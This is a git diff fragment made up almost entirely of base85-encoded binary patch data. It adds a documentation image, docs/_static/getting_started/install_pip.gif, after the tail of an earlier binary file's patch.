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 literal 0 HcmV?d00001 diff --git a/docs/_static/getting_started/install_pip.gif b/docs/_static/getting_started/install_pip.gif new file mode 100644 index 0000000000000000000000000000000000000000..0f1fec7d21f6d05a1a42904d4ce9a74c8fea43a4 GIT binary patch literal 124035 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 